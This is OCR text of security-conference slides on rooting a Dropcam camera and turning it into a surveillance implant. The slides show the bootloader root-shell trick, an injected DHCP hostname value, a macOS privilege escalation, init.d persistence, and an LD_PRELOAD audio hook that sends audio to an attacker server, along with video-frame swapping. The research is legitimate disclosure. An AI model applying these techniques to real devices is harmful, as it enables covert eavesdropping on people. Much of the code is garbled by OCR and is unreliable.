@colbymoore
@patrickwardle



optical surgery: implanting a dropcam
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‘Dropcam is a cloud-based Wi-Fi video monitoring service with
free live streaming, two-way talk and remote viewing that
makes It easy to stay connected with places, people and pets,
Nno matter where you are.” (dropcam.com)
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cloud recording night vision two-way talk intelligent alerts


http://dropcam.com

> setup




> g target

got a target on your back?!

extremely popular

found In interesting locations

E Q
useful capabilities
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rooting a

popping one of




> probing some portz

breakout board (FTDI serial to USB)

exposed 3.3v UART serial connection (pin 3 & 4)



> and action!

$ screen /dev/tty.usbserial-A60O3NJ6C 115200

(0.000000] Linux version 2.6.38.8 (dropcambuild@linux-ws) (gcc version 4.5.2 (Sourcery G++ Lite 2011.03-41) )
(0.000000] CPU: ARMv6-compatible processor [4117b365] revision 5 (ARMv6TEJ), cr=00c5387f

(0.000000] CPU: VIPT nonaliasing data cache, VIPT nonaliasing instruction cache
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Ambarella login:

password prompt




> accessing the bootloader

).

power on hit ‘enter’ / /
% %

$ screen /dev/tty.usbserial-A603NJ6C 115200

Amboot (R) Ambarella(R) Copyright (C) 2004-2007

amboot>

bootloader



> pbooting In a root shell

amboot> help
The following commands are supported:
help bios diag dump |
erase exec ping r8 “N\ﬁﬁ
Lo 132 reboot reset
Sow usbdl w8

ST g1 3 2 bap1 amboot> help setenv

Usage: setenv [param] [val]

SN - Serial number
g oUlo bhood—r~sdemalic hoot
cmdline - Boot parameters 2

AUTO O ety Catlly try to boot over network
tftpd - TFTP server address

bootloader's help

9// bootloader’'s setenv command

amboot>setenv cmdline DCSEC console=ttySO ubi.mtd=bak root=ubi®:rootfs rw rootfstype=ubifs init=/bin/sh

amboot>reboot

set boot parameters to /bin/sh



> nop’ing out rO0t's password

# 1ls -1 /etc/shadow MN\§%
/etc/shadow -> /mnt/dropcam/shadow

# vi /etc/shadow
root:$1$Sf9tWhv6$HCsGEUpFvigVclL7aVvV4Vv2t.:10933:0:99999:7: ::
bin:*:10933:0:99999:7:::

daemon:*:10933:0:99999:7:::

more /etc/fstab
/etc/fstab: static file system information.

<file system> <mount pt> <type>
/dev/root / ext2

#loredetolshadan 0
# NFS configuration for ttySeO ﬁOOtIi%Q93%1?{??99927;::f*
/dev/mtdblock9  /mnt/dropcam  jffs2 Voo o arn v s N

e
—

'70‘ I v .
daemon: *:109

# mount -tjffs2 /dev/mtdblock9 /mnt/dropcam

reboot reset boot params root :)



vulneranil




> the environment

linux (arm 32-bit)

#uname -a
Linux Ambarella 2.6.38.8 #30 PREEMPT Aug 2013 armve6el GNU/Linux

# ps aux | grep connect

821 root ©®:10 /usr/bin/connect
823 root ©®:13 /usr/bin/connect
824 root ©:00 /usr/bin/connect

..and dropcam
specific binaries



> decently secure

«“

A D
K
no open ports all communications
secured

unique provisioning



> heartbleed (client side)

yah, this is vulnerable

# openssl version

OpenSSL 1.0.1e 11 Feb 2013

openss! version




> heartbleed (client side)




> busybox (cve-2011-2716)

4

malicious DHCP server

Co

busybox: “is a multi-call binary that
combines many common Unix utilities

INto a single executable”

\) “host.com;evil cmd”
| 4

i
N

cve-2011-2716: “scripts (may) assume that
hostname is trusted, which may lead to code
execution when hostname is specially crafted”

case OPTION STRING:
memcpy(dest, option, len);
dest[len] = '\0';

return ret;

MOV
MOV
MOV
BL
MOV
STRB

\ dropcam disassembly

RO, R4

R1, R5

R2, R7

memcpy smemcpy(dest, option, len)
R3, #0

R3, [R4,R7] ;dest[len] = "\0';




> ‘direct usb’

no need to open device!

@

power on




> 0S X privilege escalation

app binary is world writable!

$ 1s -lart /Volumes/Dropcam\ Pro/Setup\ Dropcam\ \(Macintosh\).app/Contents/Mac0S/

—

f?rwxrwxrwk" 1 patrick staff 103936 Aug 12 2013 Setup Dropcam (Macintosh)
drwxrwxTwx 1 patrick staff 2048 Aug 12 2013
drwxrwxrwx 1 patrick staff 2048 Aug 12 2013

4
W
(4
VN

non-priv’d attacker on host

AR
infected dropcam app root == yes




CUCKOO'S

a dropcam imp




> the implant should...

G

hear

A

locate

command shell

see

l§
X,

infil/exfil

A‘

infect

survey



> conceptually

iz

corporate network

O

<

v

He sees you w

e knows whe
e knows If yo

ke t

ne NSA? |

hen you're sleeping
N you re awake
U've been bad or good”

/K)



> finding the “brain” ‘1

how does the dropcam, hear, see, and

think? where is the brain?!




> the connect binary

NG e
@ &

the /usr/bin/connect binary is a
monolithic program that largely

I I contains the dropcam specific logic.

01 Q

0110

0001 O

0110 1




> pbut It's non-standardly packed....

$ hexdump dropCam/fileSystem/usr/bin/connect

00000000 45 4c 46 01 01 01 63 00 00 00 00
00000010 00 28 00 01 00 OO0 GO ab® f5 06 00
00000020 3l 06 00 02 02 00 05 34 00 20 00
00000030 00 02 00 01 00 00 GO 060 0 00 00
00000040 380 00 00 8c 7e 06 OO 8c 7e 06 00
00000050 30 00 00 01 00 00 GO 90 5a 00 00
00000060 5a 14 00 00 00 00 00 00 00 00 0606
00000070 380 00 00 /7f d2 62 Oc 55 50 58 21

upx'd

$ upx -d dropCam/fileSystem/usr/bin/connect
Ultimate Packer for eXecutables
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
Format
upx:

T——

® ok, 1 error.

Unpacked 1 file:

unpack error :/



> packed connect

D

packer stub was identified as NRV2E
and identically matched source (armv4_n2e_d8.5)

-> the stub was not modified/customized

//elf unpack function
#define EI _NIDENT 16

typedef struct {

Elf Char e ident[EI NIDENT];
El1f32 Halfe type;
E1f32 Halfe machine;

//elf unpack function
void PackLinuxE1lf32::unpack(OutputFile *fo)

{ E1f32 Worde_version;
A E1f32 Addre_entry;
bool const is shlib = (ehdr->e_shoff!=0); <«— —» Eii:z_éffé_;a;igi::>

~_ - - -
//this code path taken - .
if(is shlib) Je=ta2_Ehdr;
{

//exception is thrown here




> generically unpacking connect

with open(fileName, 'rb') as packedFile
fileBytez = list(packedFile.read())

connect is not a shared library #zero out ehdr->e_shoff

.why is is_shlib true (due to e_shoff |= 0)7? fileBytez[SH OFFSET:SH OFFSET+SH SIZE] = [0]*SH _SIZE

$ python dropWham.py connect -unpack
[+] unsetting ehdr->e_ shoff
[+] 1nvoking UPX to unpack
Ultimate Packer for eXecutables

File size Ratio Format

B2 HT- 426577 47 .92% Linux/armel connect
cked 1 file. )

,’//’ -
I // / U
Q| p
—=

T - _
= e ——=

$ strings connect

Dropcam Connect - Version: %d, Build: %d (%s, %S, %S)
jenkins-connect-release-node=1inux-144, origin/release/grains _of paradise can use for evilz?!
CONNECT_BUILD INFO

CONNECT_PLATFORM

CONNECT_VERSION

nexus.dropcam.com




> the persistent core

modules

not enough space for python

decompress custom python

. - N 7 less /etc/init.d/S40myservices
persist as init.d script
tar -xvf python2./-stripped.tgz -C /tmp/

/tmp/bin/python2./7 /implant/cuckoo.py & —
..and action!

cuckoo’s nest..something



> networking CGC

command and control channel

,

streaming channel

# netstat -t
Active Internet connections (w/0 servers)
Proto Recv-Q Send-Q Local Address Foreign Address State

which is legit? ;)

tcp 0 1144 192.168.0.2:40978 ecl- .compute-1.amazonaws.com:https ESTABLISHED
tcp 0 1337 192.168.0.2:41988 ecl- . l.compute-1.amazonaws.com:https ESTABLISHED

dropcam/cuckoo’s egg connections



> geolocation
googleapis.com/geolocation/vl/geolocate?

(o

Q

v

{iwlist wlan® scan}




> host Infection

//,
//
4 /, '




> host Infection

0OS X kindly hides app details

this is the (implanted) device!

N

renamedi (original) binary

K, W

g




> host infection (OS X)

OSX Sandbox

@

Gatekeeper

N
<]

Code Signing

he wins!



> audio and video

/usr/bin/connect

A =

01
0110

0001

conceptually more specifically



> Injection

o connect’s process space
injected module P &

the connect binary exclusively
opens both the audio card N o

01 O

0110
3 000" Q‘

/a no sharing

# arecord
arecord: audio open error

kernel mode

# LD PRELOAD=./1njectMe.so

/usr/bin/connect
@

module injection




> hooking

//blah
—¥% int someFunction()
{
//do something
//blah
int main() return somelnt;
{ }
//do something f same name &
result = someFunction(); . declaration
printf(“result: %#x\n”, result);
//blah
} int someFunction()
{

//do something EVIL

return somelnt;

}




> grabbing audio

dropcam uses the Advanced Linux Sound
Architecture (ALSA) for audio

~ _ finally some disasm ;)
//blah //////

LDR R2, [R1ll,#size]
get some audio LDR RO, [R5,#0OxFC]

\ SUB____R1, R11, #-ptrptrBuffer

\\\\\ﬁm_ CBL n> ;read audio!
CMP ,
BEQ readOK
LDR Rl, "read from audio interface failed"
MOV RO, R4 ;=stderr
BL fprintf

snd_pcm_sframes_t snd _pcm_readn(
snd pcm_t* pcm,
void **bufs,
snd_pcm_uframes t size)

“Read non interleaved frames to a PCM”



> programmatically hooking audio

0

dropcam

A

injected into connect process

//replaces snd_pcm_readn
// ->captures dropcam’s audiosnd pcm_sframes t snd _pcm _readn(snd _pcm_t *pcm, void **bufs, snd pcm uframes t size)

{

//function pointer for real snd_pcm_readn()
static snd pcm sframes_t (*orig snd _pcm_readn)(snd_pcm_t*, void**, snd _pcm uframes t) = NULL;

//frames read

2 l snd_pcm_sframes_t framesRead = O;

//get original function pointer for snd_pcm_readn()
if(NULL == orig_snd_pcm _readn)
orig snd pcm _readn = (snd _pcm _sframes _t(*)(snd _pcm_t*, void**, snd pcm uframes t)) = dlsym(RTLD _NEXT, "snd pcm readn");

//invoke original snd_pcm_readn()
framesRead = orig snd pcm _readn(pcm, bufs, size);

//exfil captured audio
if(framesRead > 0)
sendToServer (AUDIO SERVER, AUDIO SERVER PORT, bufs, size);

return framesRead;




> grabbing video

dropcam talks to a propriety Ambarrella kernel module to

send ioctl to video driver
access the h.264 encoded video stream :/

\\ﬂb
//blah N :
s loctl
LDR RO, "/dev/iav" >t
MOV R1, #2 ; oflag

LDRLT RO, "IAV IOC START ENCODE_ EX"

g\\\s BLT printError
~ open video device
//blah
MOV R3, #1
MOV RO, R5 ; fd
LDR R1, =0x80046537 ; request
ADD R2, SP, #0x120+var D8
////// STRB  R3, [R8]
/ BL ioctl
undocumented ~ CMP RO, #0O
struct :/ LDRLT RO, =alIav_ioc_read b ; "IAV _IOC_READ BITSTREAM EX"

BLT printError




> grabbing video

map DSP memory via
IAV_IOC MAP_ DSP ioctl

open the /dev/1av device

get the streams state via

IAV_IOC_GET_ENCODE_STREAM_ INFO EX ioctl
via IAV_IOC_GET_H264_CONFIG_EX ioctl then check that its IAV_STREAM_STATE_ENCODING

get the h.264 parameters

map BSB memory via finally, read the stream
IAV_IOC_MAP_BSB ioctl [::] via the TAV IOC READ BITSTREAM EX ioctl



> manipulating video (conceptually)

iInjected module connect’s process space




> manipulating video (example)

IAV_IOC READ BITSTREAM EX ioctl

. // g
4 //

size and pointer to frame

allows the malicious code to
swap out frames on the fly....or
just replay one(s) to loop the
video stream!

]




> cuckoo’s egg C&C server




> cuckoo’s egg C&C server

command data

/

\\\ |

status/result



> gquestions/answers

@colbymoore 8 colby@synack.com
y @patrickwardle patrick@synack.com




> creditz

images:. dropcam.com

ICONS: iIconmonstr.com
flaticon.com



